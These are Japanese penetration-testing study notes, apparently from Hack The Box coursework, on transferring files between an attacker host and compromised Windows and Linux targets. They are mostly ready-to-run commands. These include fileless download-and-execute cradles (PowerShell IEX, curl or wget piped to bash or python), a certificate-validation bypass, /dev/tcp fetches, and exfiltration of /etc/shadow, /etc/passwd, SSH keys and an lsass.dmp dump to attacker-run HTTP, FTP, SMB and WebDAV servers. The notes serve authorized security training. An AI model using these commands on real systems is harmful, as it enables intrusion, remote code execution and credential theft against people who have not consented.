攻撃者側のファイルをターゲットに転送する
Windows
- Harmj0y が PowerShellダウンロードクレードル の広範なリストを公開
- リストはこちら → Harmj0y's PowerShell Download Cradle List
以下は、その中から抜粋
Base64エンコード&デコード
- マシンによっては、ファイルをダウンロードするときにファイアーウォールがあって、正常にダウンロードできない時もある
ファイルをbase64
形式にエンコードし、base64
文字列をリモートサーバーに貼り付けてデコードすることでファイルの受け渡しができる
攻撃者側
- ↓攻撃者端末でshellというファイルをエンコード
base64 <FILENAME> -w 0
- 正しく転送できたか、md5ハッシュを計算しておく
md5sum <FILENAME>
ターゲット側
- コピーしてWindows PowerShellターミナルに貼り付け、いくつかのPowerShell関数を使用してデコードする
[IO.File]::WriteAllBytes("<出力先のパス>", [Convert]::FromBase64String("<Base64エンコードされたデータ>"))
MD5をチェックして、正しく転送できてるか判断する
Get-FileHash C:\Users\Public\<FILENAME> -Algorithm md5
PowerShell Web ダウンロード / Fileless攻撃
fileless
: いくつかのオペレーティングシステム機能を使用してペイロードをダウンロードし、直接実行する- スクリプトを直接ダウンロードして、そのままBashで実行する
- ローカルのファイルシステムに保存されない!!!!
- リソースからデータをダウンロードするためのWebClientの表
メソッド | 説明 |
---|---|
OpenRead | リソースからデータを取得し、ストリームとして返す。 |
OpenReadAsync | 呼び出し元のスレッドをブロックせずに、リソースからデータを取得する。 |
DownloadData | リソースからデータをダウンロードし、バイト配列として返す。 |
DownloadDataAsync | 呼び出し元のスレッドをブロックせずに、リソースからデータをダウンロードし、バイト配列として返す。 |
DownloadFile | リソースからデータをダウンロードし、ローカルファイルに保存する。 |
DownloadFileAsync | 呼び出し元のスレッドをブロックせずに、リソースからデータをダウンロードし、ローカルファイルに保存する。 |
DownloadString | リソースから文字列をダウンロードし、文字列として返す。 |
DownloadStringAsync | 呼び出し元のスレッドをブロックせずに、リソースから文字列をダウンロードし、文字列として返す。 |
- PowerShellを使用してファイルをダウンロードする方法の例
攻撃者側
pythonでHTTPサーバーとかを立ち上げて、アクセスさせる
python3 -m http.server 8080
攻撃者サーバーを一時的にwebサーバーとする
ターゲット側
- クラス名
Net.WebClient
とメソッドDownloadFile
を、ダウンロードするターゲットファイルのURLに対応するパラメータと出力ファイル名で指定する
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
ファイルレスメソッド
fileless
: いくつかのオペレーティングシステム機能を使用してペイロードをダウンロードし、直接実行する
IEX (New-Object Net.WebClient).DownloadString('<Target File URL>.ps1')
IEX
パイプライン入力も受け付ける
(New-Object Net.WebClient).DownloadString('<Target File URL>.ps1') | IEX
WebRequest
ターゲット側
- PowerShell 3.0以降、Invoke-WebRequestコマンドレットも使用できますが、ファイルのダウンロードが著しく遅くなります。
Invoke-WebRequest
のフルネームの代わりに、別名iwr
、curl
、wget
を使用できる
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
PowerShellのよくあるエラー
- Internet Explorer の初回起動設定が完了していないため、ダウンロードが妨げられる場合がある
- パラメータ
-UseBasicParsing
を使用してバイパスできる
例
- パラメータ
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
- PowerShell ダウンロードの別のエラーは、証明書が信頼されない場合、SSL/TLS セキュア チャネルに関連しています。次のコマンドでそのエラーをバイパスできる
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
SMB
- SMBサーバーから現在の作業ディレクトリにファイルをダウンロード
sudo impacket-smbserver share -smb2support /tmp/smbshare
- 新しいバージョンの Windows は、次のコマンドで確認できるように、認証されていないゲストのアクセスをブロックする
- Impacket SMBサーバーを使用してユーザー名とパスワードを設定し、SMBサーバーをWindowsターゲットマシンにマウントできる
copy \\192.168.220.133\share\nc.exe
- SMBで新しいユーザーを作る
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
- SMBのマウント、ユーザー名・パスワード
net use n: \\192.168.220.133\share /user:test test
FTPダウンロード
- ファイルを転送する別の方法は、ポートTCP/21とTCP/20を使用するFTP(ファイル転送プロトコル)を使用すること
- FTP クライアントまたは PowerShell Net.WebClient を使用して、FTP サーバーからファイルをダウンロードできる
- Python3 pyftpdlibモジュールを使用して、攻撃ホストにFTPサーバーを構成できます。
- 次のコマンドでインストールできる
sudo pip3 install pyftpdlib
- デフォルトでは、pyftpdlibはポート2121を使用するため、ポート番号21
- ユーザーとパスワードを設定しない場合、匿名認証はデフォルトで有効になる
sudo python3 -m pyftpdlib --port 21
- PowerShellを使用してFTPサーバーからファイルを転送する
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
- リモートマシンでシェルを取得すると、インタラクティブシェルがない可能性がある
- その場合は、FTPコマンドファイルを作成してファイルをダウンロードすることができる
- まず、実行したいコマンドを含むファイルを作成し、FTPクライアントを使用してそのファイルを使用してそのファイルをダウンロードする必要がある
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
This is a test file
Linux
Base64エンコーディング/デコード
md5ハッシュを確認する
攻撃者側
md5sum <File>
Base64でエンコードする
cat id_rsa |base64 -w 0;echo
ターゲット側
echo -n 'Base64でエンコードした値' | base64 -d > id_rsa
md5ハッシュが一致しているかを確認する
md5sum id_rsa
WgetとcURLによるWebダウンロード
ターゲット側
wgetでのダウンロード
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
cURLでのダウンロード
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
ファイルレス攻撃 / Fileless攻撃
fileless
: いくつかのオペレーティングシステム機能を使用してペイロードをダウンロードし、直接実行する- スクリプトを直接ダウンロードして、そのままBashで実行する
- ローカルのファイルシステムに保存されない!!!!
攻撃者側
pythonでHTTPサーバーとかを立ち上げて、アクセスさせる
python3 -m http.server 8080
攻撃者サーバーを一時的にwebサーバーとする
ターゲット側
curlによるファイルレスダウンロード
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
wgetによるファイルレスダウンロード
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Bashでのダウンロード(/dev/tcp)
- 一般的なファイル転送ツールが利用できない状況もある
- Bash バージョン 2.04 以降がインストールされている限り (--enable-net-redirections でコンパイル)、組み込みの /dev/TCP デバイスファイルは簡単なファイルダウンロードに使える
攻撃者側
wgetとcURLの攻撃者側と同じ
python3 -m http.server 8080
ターゲット側
- ターゲットWebサーバーに接続する
exec 3<>/dev/tcp/<攻撃者のIP>/8080
- HTTP GETリクエスト
echo -e "GET /<ファイル名> HTTP/1.1\r\nHost: <攻撃者のIP>\r\nConnection: close\r\n\r\n" >&3
- ファイルデータをファイルに書き起こす
cat <&3 > <ファイル名>
- 補足 : ファイルの中身をただターミナルに標準出力するだけ
cat <&3
SSHダウンロード
- SSHにはデフォルトでSCPがついてるから、SCPを使うこともできる
SCP
(セキュアコピー)は、2つのホスト間でファイルとディレクトリを安全にコピーできるコマンド- ローカルサーバーからリモートサーバーに、リモートサーバーからローカルマシンにファイルをコピーできる
攻撃者側
ターゲット側でsshを立ち上げてから、scpでファイルダウンロード
scp plaintext@192.168.49.128:/root/myroot.txt .
部分 | 説明 |
---|---|
scp |
Secure Copy Protocol(SSHを利用した安全なファイル転送) |
plaintext@192.168.49.128 |
リモートサーバーのユーザー名 plaintext と IP アドレス 192.168.49.128 |
/root/myroot.txt |
リモートサーバー上のファイルのパス(この場合 /root/ ディレクトリ内の myroot.txt ) |
. |
ローカルのカレントディレクトリ(. = 現在の作業ディレクトリ)にファイルをダウンロード |
ターゲット側
SSH サーバーの有効化
sudo systemctl enable ssh
SSHサーバーの起動
sudo systemctl start ssh
SSH リスニングポートのチェック
- sudoが必要かも??
netstat -lnpt
ターゲット側のファイルを攻撃者の端末にアップロード
- パスワードの解読、分析、流出などの状況もあり、ターゲットマシンから攻撃ホストにファイルをアップロードする必要がある
- ダウンロード操作に使用したのと同じ方法を使用できますが、アップロードに使用できる
- さまざまな方法でファイルのアップロードをどのように達成できるかを見てみる
Windows
PowerShell Base64エンコード&デコード
ターゲット側
Base64エンコード
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
MD5ハッシュの計算
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
攻撃者側
echo <Base64エンコードした値> | base64 -d > hosts
MD5ハッシュの計算と確認
md5sum hosts
PowerShell Web アップロード
ターゲット側
Invoke-RestMethod
を使用してアップロード操作を実行するPowerShellスクリプトPSUpload.ps1を使用できる
- スクリプトは、ファイルパスを指定するために使用する2つのパラメーター
-File
- ファイルをアップロードするサーバーURLである
-Uri
を受け入れる
攻撃者側
攻撃者側も受け取るサーバーが必要
pip3 install uploadserver
サーバーの起動
python3 -m uploadserver
上が使えない時(ピボットホストとかで)
cat <<EOF > upload_server.py
#!/usr/bin/env python3
from http.server import SimpleHTTPRequestHandler, HTTPServer
class UploadHandler(SimpleHTTPRequestHandler):
def do_PUT(self):
path = self.translate_path(self.path)
length = int(self.headers['Content-Length'])
with open(path, 'wb') as output:
output.write(self.rfile.read(length))
self.send_response(200)
self.end_headers()
server_address = ('0.0.0.0', 8080)
httpd = HTTPServer(server_address, UploadHandler)
print("Serving HTTP on port 8080... Accepting PUT requests")
httpd.serve_forever()
EOF
ターゲット側
- Python アップロード サーバーにファイルをアップロードするための PowerShell スクリプト
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
アップロード
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
↑がうまくいかない場合↓も有効
Invoke-WebRequest -Uri "http://172.16.5.15:8000/upload" -Method Put -InFile "C:\lsass.dmp"
あと、ブラウザで、http://10.10.14.205:8000/upload
のURLにアクセスして、アップロードすることできる
PowerShell Base64 Web アップロード
Invoke-WebRequest
やInvoke-RestMethod
を使い、PowerShell でデータを送信Netcat
を使い、指定したポートでリスニングPOST
リクエストとしてファイルを送信- 出力をコピーして、base64 デコード関数でファイルに変換
攻撃者側
base64エンコードした値を受け取る
nc -lvnp 8000
base64エンコードをファイルに戻す
echo <base64> | base64 -d -w 0 > hosts
ターゲット側
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
SMBアップロード
- 以前、企業は通常、
HTTP
(TCP/80)およびHTTPS
(TCP/443)プロトコルを使用してアウトバウンドトラフィックを許可することについて議論した。- 一般的に、企業はSMBプロトコル(TCP/445)を内部ネットワークから外すことを許可しない
- なぜなら、これは潜在的な攻撃に開放される可能性があるから
- 代替
WebDav
でHTTP上でSMBを実行することWebDAV
(RFC 4918)は、WebブラウザとWebサーバーが相互に通信するために使用するインターネットプロトコルであるHTTPの拡張
WebDAV
はHTTPSも使用できる
- 一般的に、企業はSMBプロトコル(TCP/445)を内部ネットワークから外すことを許可しない
攻撃者側
wsgidavとcherootの2つをインストールする必要ある
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
ターゲット側
Webdav シェアへの接続
dir \\192.168.49.128\DavWWWRoot
DavWWWRoot
は、Windows Shellによって認識される特別なキーワード- WebDAVサーバーにはそのようなフォルダは存在しない
- DavWWWRoot キーワードは、WebDAV サーバーのルートに接続している WebDAV 要求を処理する Mini-Redirector ドライバーに伝えます。
- サーバーに接続するときにサーバーに存在するフォルダを指定すると、このキーワードの使用を避けることができる
LinuxでSMBサーバーを建てる
ターゲット側
攻撃者がsmbを立てて、ターゲットのWindowsは、攻撃者に送る
C:\> move <送りたいファイル名> \\10.10.15.16\CompData
1 file(s) moved.
攻撃者側
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData $(pwd)
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData <pwdの結果>
FTPアップロード
攻撃者側
- FTPを使用してファイルをアップロードすることは、ファイルのダウンロードと非常によく似ている
- PowerShell または FTP クライアントを使用して操作を完了できる
- Python モジュール pyftpdlib を使用して FTP サーバーを開始する前に、クライアントが攻撃ホストにファイルをアップロードできるようにするオプション --write を指定する必要がある
sudo python3 -m pyftpdlib --port 21 --write
ターゲット側
それでは、PowerShellのアップロード機能を使用して、FTPサーバーにファイルをアップロードする
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
FTPクライアントがファイルをアップロードするためのコマンドファイルを作成
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
Linux
webアップロード(HTTPS)
ターゲット側
httpsサーバーをターゲット側で立てるってことだね
webサーバーの開始
sudo python3 -m pip install --user uploadserver
自己署名証明書の作成
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
ウェブサーバーは証明書をホストすべきではありません。ウェブサーバーのファイルをホストするために、新しいディレクトリを作成した方がいい
mkdir https && cd https
攻撃者側
複数のファイルを取得する
- 自己署名証明書を受け入れるように、
--insecure
を追加する
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
簡単なhttpのwebサーバーを立てる方法(HTTP)
ターゲット側
python3 -m http.server 8080
python3 -m uploadserver
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000
攻撃者側
wget 192.168.49.128:8000/filetotransfer.txt
コードを使ったファイルダウンロード
- ターゲット側でコードを使って、ファイルをダウンロードする
- Linux では Python、PHP、Perl、Ruby,JavaScript などの言語が一般的に利用できる
- Windows にもインストールすることは可能(一般的ではないけど)
- Windows では
cscript
やmshta
などのデフォルトアプリケーションを使って JavaScript や VBScript を実行することができる
- Windows では
攻撃者側
pythonでHTTPサーバーとかを立ち上げて、アクセスさせる
python3 -m http.server 8080
攻撃者サーバーを一時的にwebサーバーとする
ターゲット側
Python2
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Python3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
PHP
File_get_contents()でPHPをダウンロード
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
Fopen()でPHPダウンロード
php -r 'const BUFFER = 1024; $fremote =
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
PHPでファイルをダウンロードし、それをBashにパイプする
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
Windows専用
JavaScript
- Windows コマンド プロンプトまたは PowerShell ターミナルから次のコマンドを使用して、JavaScript コードを実行し、ファイルをダウンロードできる
- 以下を
wget.js
で保存する
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
JavaScriptとcscript.exeを使用してファイルをダウンロードする
- 上の
wget.js
を保存する
C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBスクリプト
- Windows コマンド プロンプトまたは PowerShell ターミナルから次のコマンドを使用して、VB Scriptを実行し、ファイルをダウンロードできる
wget.vbs
というファイルを作成し、次のコンテンツを保存する
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
VBScriptとcscript.exeを使用してファイルをダウンロードする
C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
SCPを使う
リモートホストでsshユーザー資格情報を取得した場合、scp
を使用することでファイルのやり取りできる
SSHのサービスが動いてるなら、SCPも使える
scp linenum.sh user@remotehost:/tmp/linenum.sh
そのほかのファイル転送方法
- netcat
- nc
WinRMでのファイル転送
Test-NetConnection -ComputerName DATABASE01 -Port 5985
$Session = New-PSSession -ComputerName DATABASE01
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
rdesktopを使用したLinuxフォルダのマウント
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
xfreerdpを使用したLinuxフォルダのマウント
xfreerdp /v:<IP> /d:<ユーザー名> /u:<ログインするユーザー名> /p:'<パスワード>' /drive:<共有名(なんでもおけ)>,<ローカルディレクトリのパス>